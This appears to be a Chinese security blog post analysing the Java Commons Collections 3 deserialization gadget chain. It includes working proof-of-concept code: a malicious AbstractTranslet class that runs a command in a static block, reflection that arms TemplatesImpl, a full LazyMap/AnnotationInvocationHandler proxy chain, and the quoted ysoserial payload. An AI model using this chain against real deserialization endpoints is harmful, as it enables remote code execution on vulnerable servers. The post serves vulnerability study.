Java反序列化之 CommonsCollections(三)调用链分析

发布于 2023-12-05  168 次阅读


环境介绍

Commons Collections 3.1 ~ 3.2.1

我的测试环境:

  • JDK8u65
  • Commons Collections 3.2.1

触发点(TemplatesImpl.newTransformer()

public final class TemplatesImpl implements Templates, Serializable {
    static final long serialVersionUID = 673094361519270707L;
    public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";

    /**
     * Name of the superclass of all translets. This is needed to
     * determine which, among all classes comprising a translet,
     * is the main one.
     */
    private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

    /**
     * Name of the main class or default name if unknown.
     */
    private String _name = null;

    /**
     * Contains the actual class definition for the translet class and
     * any auxiliary classes.
     */
    private byte[][] _bytecodes = null;

    /**
     * Contains the translet class definition(s). These are created when
     * this Templates is created or when it is read back from disk.
     */
    private Class[] _class = null;

    /**
     * The index of the main translet class in the arrays _class[] and
     * _bytecodes.
     */
    private int _transletIndex = -1;

    /**
     * Contains the list of auxiliary class definitions.
     */
    private transient Map<String, Class<?>> _auxClasses = null;

    /**
     * Output properties of this translet.
     */
    private Properties _outputProperties;

    /**
     * Number of spaces to add for output indentation.
     */
    private int _indentNumber;

    /**
     * This URIResolver is passed to all Transformers.
     * Declaring it transient to fix bug 22438
     */
    private transient URIResolver _uriResolver = null;

    /**
     * Cache the DTM for the stylesheet in a thread local variable,
     * which is used by the document('') function.
     * Use ThreadLocal because a DTM cannot be shared between
     * multiple threads.
     * Declaring it transient to fix bug 22438
     */
    private transient ThreadLocal _sdom = new ThreadLocal();

    ...

    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]); // 这里加载的_class, 并且是使用for循环对每一个_bytecodes进行加载, 将_bytecodes加载成_class
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses(); // 这里对调用defineTransletClasses方法对_class进行赋值

            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 紧接着下一步对_class进行初始化,如果可以走到这里,就可以动态执行代码
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

    ...

}

调用链分析

调用TemplateImpl.newTransformer(),从而执行到TemplateImpl.getTranslateInstance(),就会初始化我们自定义的类,从而执行任意代码。

创建TemplateImpl对象需要对几个参数进行赋值。

TemplateImpl.getTransletInstance()

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null; // 需要满足_name不为空, String类型

        if (_class == null) defineTransletClasses();  // 想要执行到defineTransletClasses()进行—_class赋值, 那么就不用给_class赋值

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 我们想要执行到这里
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

TemplateImpl.defineTransletClasses()

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) { // _bytecodes必须赋值,不然抛出异常就结束程序了
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // 这里调用到了_tfactory参数, 那么也必须赋值
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

综上也就是需要对_name_bytecodes_tfactory 三个参数进行赋值

那么再分析一下,需要对它们赋什么类型的值?

private String _name = null; // String类型
private byte[][] _bytecodes = null; // byte[][]类型
private transient TransformerFactoryImpl _tfactory = null; // TransformerFactoryImpl对象

上面我们分析过_bytecodes是使用for循环对每一个元素进行类加载的,因此我们传入一个一维数组就可以。

我们尝试写一个测试POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author: Ordshine
 * @date: 2023 - 11
 * @description:
 * @version: 1.0
 */

public class Test1 {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, TransformerConfigurationException, NoSuchFieldException {

        TemplatesImpl templates = new TemplatesImpl();

        // 使用反射对需要的参数进行初始化
        // _name
        Class c = templates.getClass();
        Field nameFiled = c.getDeclaredField("_name");
        nameFiled.setAccessible(true);
        nameFiled.set(templates, "aaaa");

        // _bytecodes
        byte[] code = Files.readAllBytes(Paths.get("E://temp/cc3/Test.class"));
        byte[][] codes = new byte[][]{code};
        Field bytecodesFiled = c.getDeclaredField("_bytecodes");
        bytecodesFiled.setAccessible(true);
        bytecodesFiled.set(templates, codes);

        // _tfactory
        Field tfactoryFiled = c.getDeclaredField("_tfactory");
        tfactoryFiled.setAccessible(true);
        tfactoryFiled.set(templates, new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

Test.class

import java.io.IOException;

public class Test {

    static {

        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }
}

运行程序后,发现报了空指针异常,我们调试跟入程序看看到底是哪里出现了异常。

Exception in thread "main" java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:422)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at first.Test1.main(Test1.java:44)

可以看到,是defineTransletClasses方法里出现了异常,我们打断点对这个方法进行调试。

image-20231205213134799

image-20231205213434209

也就是说,我们传入的_bytecodes的类的父类,必须是ABSTRACT_TRANSLET

private static String ABSTRACT_TRANSLET
    = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

也就是Test必须继承自AbstractTranslet类,于是修改Test。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() {
    }

    // 需要重写transform方法
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    // 写在静态代码块里
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}

再次运行程序

image-20231205213807013

这次成功执行任意代码。

那么我们直接使用CC1的前半段代码,调用InvokerTransformer.transform()执行任意方法。

Poc

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import serializer.Serialize;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

/**
 * @author: Ordshine
 * @date: 2023 - 12
 * @description:
 * @version: 1.0
 */

public class CommonsCollections3 {

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException {

        TemplatesImpl templates = new TemplatesImpl();
        // _class = null
        // 需要赋值: _name,  _bytecodes, _tfactory,
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E:\\temp\\cc3\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryFiled = tc.getDeclaredField("_tfactory");
        tfactoryFiled.setAccessible(true);
        tfactoryFiled.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
//
        Transformer[] t = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(t);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        // 需要创建两个 AnnotationInvocationHandler对象,第一个 memberValue=lazyMap, 第二个memberValue=mapProxy
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazyMap);

        // ClassLoader loader, Class<?>[] interfaces, InvocationHandler h
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o = declaredConstructor.newInstance(Override.class, mapProxy);

        Serialize.serialize(o);
        Serialize.unSerialize();
    }

}

这里重新分析一下这条链:

我们反序列化这个对象,会调用到AnnotationInvocationHandler.readObject(),在readObject方法中,会调用memberValues.entrySet(),因为我们传入的memberValues是Proxy动态代理,那么就会在执行entrySet时,调用AnnotationInvocationHandler.invoke()方法,invoke方法中再调用LazyMap.get(),从而调用InvokerTransformer.transform()执行TemplatesImpl.newTransformer()加载恶意类执行任意代码。

ysoserial中的CC3

package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.xml.transform.Templates;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

/*
 * Variation on CommonsCollections1 that uses InstantiateTransformer instead of
 * InvokerTransformer.
 */
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer( // 使用了InstantiateTransformer
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections3.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

与我们的POC不同之处在于,没有使用InvokerTransformer.transform()来执行任意方法,而是使用了 InstantiateTransformer.transform() 来调用到TrAXFilter的构造函数执行templates.newTransformer(),从而触发链加载恶意类执行任意代码。

TrAXFilter

public TrAXFilter(Templates templates)  throws // 可以通过构造方法传入templates
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer(); // 调用templates.newTransformer()
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

InstantiateTransformer.transform()

这个方法就会调用构造方法

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

public class InstantiateTransformer implements Transformer, Serializable {

    /** The serial version */
    private static final long serialVersionUID = 3786388740793356347L;

    /** Singleton instance that uses the no arg constructor */
    public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();

    /** The constructor parameter types */
    private final Class[] iParamTypes;
    /** The constructor arguments */
    private final Object[] iArgs;

    /**
     * Transformer method that performs validation.
     * 
     * @param paramTypes  the constructor parameter types
     * @param args  the constructor arguments
     * @return an instantiate transformer
     */
    ...
    // 构造方法
    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input Class object to a result by instantiation.
     * 
     * @param input  the input object to transform
     * @return the transformed result
     */
    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a " 
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs); // 这里调用传入的input的构造方法

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

}

具体也就是这里不一样。

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] {Templates.class}, new Object[] {templates});

Transformer[] t = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer // 调用instantiateTransformer.transform(), 从而调用TrAXFilter构造函数, 执行templates.newTransformer()
};

其原理就是:

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] {Templates.class}, new Object[] {templates});

instantiateTransformer.transform(TrAXFilter.class);

通过调用instantiateTransformer.transform(TrAXFilter.class)来执行TrAXFilter的构造方法执行到templates.newTransformer()

  • alipay_img
  • wechat_img
届ける言葉を今は育ててる
最后更新于 2023-12-05